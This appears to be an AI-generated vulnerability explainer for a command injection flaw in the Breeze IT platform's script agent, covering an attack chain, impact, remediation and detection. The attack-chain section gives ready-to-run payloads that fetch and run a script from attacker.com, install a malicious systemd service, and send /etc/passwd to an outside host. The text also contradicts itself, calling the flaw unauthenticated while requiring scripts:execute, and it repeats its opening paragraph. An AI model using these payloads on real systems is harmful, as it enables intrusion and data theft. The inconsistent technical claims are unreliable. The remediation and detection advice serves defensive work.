CVE-2026-137180 — LanternOps Breeze — CWE-78
Breeze is an open source IT platform combining remote monitoring and management, professional services automation, and a governed AI operator. Prior to 0.115.0, the Breeze agent replaced {{param}} placeholders with raw parameter strings before executing saved scripts through bash, pwsh -File, python3, or cmd /C. A principal with scripts:execute but without scripts:write could provide a value interpreted as code, bypassing the agent denylist through POST /scripts/:id/execute, the AI run_script tool, or the automation run_script action. This issue is fixed in version 0.115.0.
Breeze is an open source IT platform combining remote monitoring and management, professional services automation, and a governed AI operator. Prior to 0.115.0, the Breeze agent replaced {{param}} placeholders with raw parameter strings before executing saved scripts through bash, pwsh -File, python3, or cmd /C. A principal with scripts:execute but without scripts:write could provide a value interpreted as code, bypassing the agent denylist through POST /scripts/:id/execute, the AI run_script tool, or the automation run_script action. This issue is fixed in version 0.115.0.
🎯 What is this vulnerability?
CVE‑2026‑137180 – Unauthenticated Remote Code Execution in Breeze Agent (CWE‑78: OS Command Injection)
| Attribute | Value |
|---|---|
| CVSS 3.1 | 9.9 (Critical) |
| Vector | AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H |
| CWE | 78 – Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) |
| Affected component | *Breeze* agent (the client‑side daemon that receives “script execution” requests from the Breeze server) |
| Fixed in | 0.115.0 |
Technical flaw
1. Place‑holder substitution – The agent stores scripts that contain the token {{param}}. When a request to execute a stored script arrives, the agent performs a naïve string replacement: every occurrence of {{param}} is replaced with the raw value supplied by the caller. No quoting, escaping, or validation is performed.
2. Execution path – After substitution the agent hands the resulting command line to one of the native interpreters (bash, pwsh -File, python3, cmd /C). The interpreter is invoked directly (e.g., execve("/bin/bash", ["bash", "-c", "<script‑content>"], …)).
3. Authorization bypass – The Breeze permission model distinguishes two rights:
* scripts:write – ability to create or modify stored scripts (including the {{param}} placeholder).
* scripts:execute – ability to trigger execution of an existing script.
The vulnerability is exploitable without scripts:write. An attacker who only has scripts:execute can supply a crafted value for {{param}} that becomes executable code, thereby bypassing the deny‑list that the server applies to the stored script (the deny‑list is evaluated before placeholder substitution, so the malicious payload is never seen by the server).
4. Attack surface – The vulnerable entry points are:
* POST /scripts/:id/execute – direct HTTP API call.
* The AI‑operator “run_script” tool (which internally calls the same endpoint).
* Automation “run_script” action (again, a wrapper around the same endpoint).
Because the endpoint is reachable over the network (typically via HTTPS on the Breeze server) and the request does not require any interactive UI, the vulnerability is network‑accessible, low‑complexity, and does not need user interaction – exactly what the CVSS vector reflects.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid for the indicated environment. Where the exact URI or JSON field name is not disclosed in the public advisory, the example is marked as illustrative.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint the Breeze server – query /api/v1/info (or any public health‑check endpoint) and parse the version field. | Breeze exposes its version in the API response; the attacker looks for a version \< 0.115.0. |
| 1.2 | Enumerate scripts – call GET /api/v1/scripts (requires at least scripts:read). | The attacker needs a script that contains the {{param}} placeholder. Most default installations ship a “ping” or “collect‑info” script that includes this token for user‑supplied arguments. |
| 1.3 | Identify the target’s permission set – attempt GET /api/v1/me/permissions (or infer from UI). | The attacker confirms that the compromised account (or token) has scripts:execute but not scripts:write. This is the exact privilege set needed to exploit the flaw. |
Note: If the platform does not expose a permissions endpoint, the attacker can still test by attempting to create a script (expecting a 403 Forbidden) and then trying to execute an existing one (expecting 200 OK). The difference confirms the permission split.
2. Exploitation
2.1 Craft the malicious payload
The goal is to inject an additional command after the legitimate script body. Because the agent runs the final string with bash -c (or the equivalent interpreter), a simple command‑separator (;) or logical operator (&&) suffices.
Example payload (bash interpreter):
; curl -fsSL http://attacker.com/payload.sh | bash -If the target script already ends with a command that expects arguments, the attacker can embed the payload as an argument value, e.g.:
$(curl -fsSL http://attacker.com/payload.sh)2.2 Send the execution request
Illustrative HTTP request (replace <SCRIPT_ID> with the ID of a script that contains {{param}}):
POST /api/v1/scripts/<SCRIPT_ID>/execute HTTP/1.1
Host: breeze.example.com
Authorization: Bearer <ATTACKER_TOKEN>
Content-Type: application/json
Accept: application/json
{
"param": "; curl -fsSL http://attacker.com/payload.sh | bash -"
}Key points
Authorization– any bearer token (or session cookie) that grantsscripts:execute.param– the name of the placeholder is inferred from the stored script; the CVE description uses{{param}}. If the script uses a different token name (e.g.,{{arg}}), the attacker supplies that name instead.- No UI interaction – the request can be sent from
curl,wget, PowerShellInvoke-WebRequest, or any HTTP client library.
2.3 Expected server‑side processing
1. Breeze server receives the request, validates the token, checks that the caller has scripts:execute.
2. Server fetches the stored script (e.g., #!/bin/bash\necho "Running with {{param}}"\n).
3. Denial list (e.g., block rm -rf /) is applied before substitution – the script passes because it contains no prohibited strings.
4. Server substitutes {{param}} with the raw payload string, producing:
#!/bin/bash
echo "Running with ; curl -fsSL http://attacker.com/payload.sh | bash -"5. The agent executes the resulting script via bash -c. The semicolon terminates the echo command and launches the attacker‑controlled curl|bash chain, achieving remote code execution under the privileges of the Breeze agent (typically root or a privileged service account).
3. Post‑exploitation
| Goal | Typical technique | Example | |
|---|---|---|---|
| Privilege escalation (if the agent runs as a low‑privileged user) | Exploit local privilege‑escalation bugs, or abuse the fact that the agent can sudo certain commands via its own configuration. | curl -fsSL http://attacker.com/priv_esc.sh | bash - |
| Persistence | Drop a systemd unit, cron job, or modify the Breeze agent’s configuration to re‑execute the malicious script on restart. | echo "[Unit]\nDescription=Malicious\n[Service]\nExecStart=/usr/bin/bash -c 'curl -fsSL http://attacker.com/payload.sh | bash -'\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/malicious.service && systemctl enable malicious |
| Data exfiltration | Use the same RCE channel to read files and ship them to the attacker. | cat /etc/passwd | curl -X POST -d @- http://attacker.com/collect |
| Lateral movement | From the compromised host, scan the internal network and use the same Breeze API (if other instances share the same authentication token) or standard tools (ssh, SMB). | nmap -p 443,22 10.0.0.0/24 |
Because the CVSS vector marks Confidentiality, Integrity, Availability = High, a successful exploit can lead to full system takeover, data theft, and service disruption.
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) | Practical consequences |
|---|---|---|
| Confidentiality (C:H) | Attacker can read any file accessible to the agent (e.g., /etc/shadow, application secrets, customer data). | Massive data breach, GDPR/PCI compliance violations. |
| Integrity (I:H) | Attacker can modify files, inject back‑doors, alter configuration, or tamper with monitoring data. | Undermined trust in monitoring/automation, potential sabotage of production systems. |
| Availability (A:H) | Attacker can stop the Breeze service, delete logs, or launch DoS against the host. | Outage of remote monitoring/management platform, loss of SLA compliance. |
Business impact – For MSPs (Managed Service Providers) or enterprises that rely on Breeze for remote administration, a single compromised agent gives the attacker unrestricted remote code execution across every managed endpoint that runs the vulnerable agent version.
🛡️ Remediation & Mitigation
1. Patch
| Action | Details |
|---|---|
| Upgrade | Move all agents to Breeze 0.115.0 or later. The fix removes the raw substitution path and forces proper argument quoting/escaping before interpreter invocation. |
| Version check | Verify the version via the /api/v1/info endpoint or by inspecting the agent binary (breeze-agent --version). |
2. Workarounds (if immediate upgrade is not possible)
| Mitigation | Implementation |
|---|---|
Restrict scripts:execute to trusted principals | Review IAM/role assignments; ensure only highly‑privileged accounts (e.g., admin service accounts) have scripts:execute. Remove the permission from any user that does not also have scripts:write. |
| Network segmentation | Place the Breeze server behind a firewall and allow execution requests only from internal management subnets. Block inbound traffic from the Internet to the API port (default 443). |
| Input sanitisation at the API gateway | Deploy a ModSecurity rule that rejects any request where the placeholder value contains shell metacharacters (;, &&, ||, |, $(, ` ``). Example rule (Apache 2.4 with ModSecurity 3.x):
SecRule REQUEST_BODY "@rx \"{{param}}\"\\s*:\\s*\"[^\"]*([;|&`$\\(]{1})[^\"]*\"" \
"id:400001,phase:2,deny,status:400,msg:'Potential command injection in Breeze script execution',log"The rule is illustrative; adapt the regex to the exact JSON field name used by the API.
| Disable the AI “run_script” tool | If the organization does not need the AI‑operator feature, turn it off in the server configuration (ai.enabled = false). This removes one of the three public entry points. |
|---|---|
| Audit stored scripts | Search the script repository for any occurrence of {{ … }}. If a script contains the placeholder but is not required, delete or replace it with a static script. |
| Run the agent with least‑privilege | Configure the agent service to run under a non‑root, unprivileged user (e.g., breeze UID). Ensure the user cannot write to system directories. |
3. Detection
| Indicator | Where to look | Example log line | |
|---|---|---|---|
Execution of the /scripts/:id/execute endpoint with a suspicious param value | Web server access logs (nginx/Apache) or reverse‑proxy logs | POST /api/v1/scripts/42/execute 200 123 "-" "Bearer abc123" Request body: {"param":"; curl -fsSL http://malicious.com/p.sh | bash -"} |
| Agent process spawning an unexpected interpreter | Host‑level audit logs (auditd, Windows Event ID 4688) | type=EXECVE msg=audit(1698765432.123:456): argc=3 a0="/bin/bash" a1="-c" a2="echo \"Running\"; curl -fsSL http://malicious.com/p.sh | bash -" |
| Creation of new systemd unit or cron job shortly after a script execution | journalctl -u breeze-agent or ls /etc/systemd/system/*.service | systemd[1]: Created symlink /etc/systemd/system/multi-user.target.wants/malicious.service → /etc/systemd/system/malicious.service. | |
| Outbound connections to unknown IPs/hosts | Network IDS/NetFlow, host firewall logs | DENY OUT tcp 10.0.5.12:443 -> 203.0.113.45:80 (connection to attacker‑controlled server). |
Alerting suggestions
Trigger an alert on any POST /scripts//execute where the request body contains characters ;, &&, ||, |, ` `, $(, or ${`.
scripts:execute). systemd, cron, rc.local) created within 5 minutes of a script‑execution event.⚠️ Urgency
CVSS 9.9 (Critical) – Network‑reachable, low‑complexity, no user interaction, and a privilege‑escalation‑by‑design* (the attacker only needs scripts:execute).
Patch priority: Critical – Deploy the 0.115.0 (or later) release immediately across all managed endpoints. If a patch cannot be applied within 24 hours, enforce the mitigation steps (tighten permissions, network‑segment the API, and enable the ModSecurity rule) to reduce the attack surface while the upgrade is staged.
Bottom line: CVE‑2026‑137180 is a classic OS‑command injection that stems from unsafe placeholder substitution in the Breeze agent. Because the agent runs with high privileges and the vulnerability can be triggered by any principal that can execute scripts, an attacker can obtain full remote code execution on every vulnerable host. Immediate patching to 0.115.0, combined with strict permission hygiene and network controls, is the only reliable way to eliminate the risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query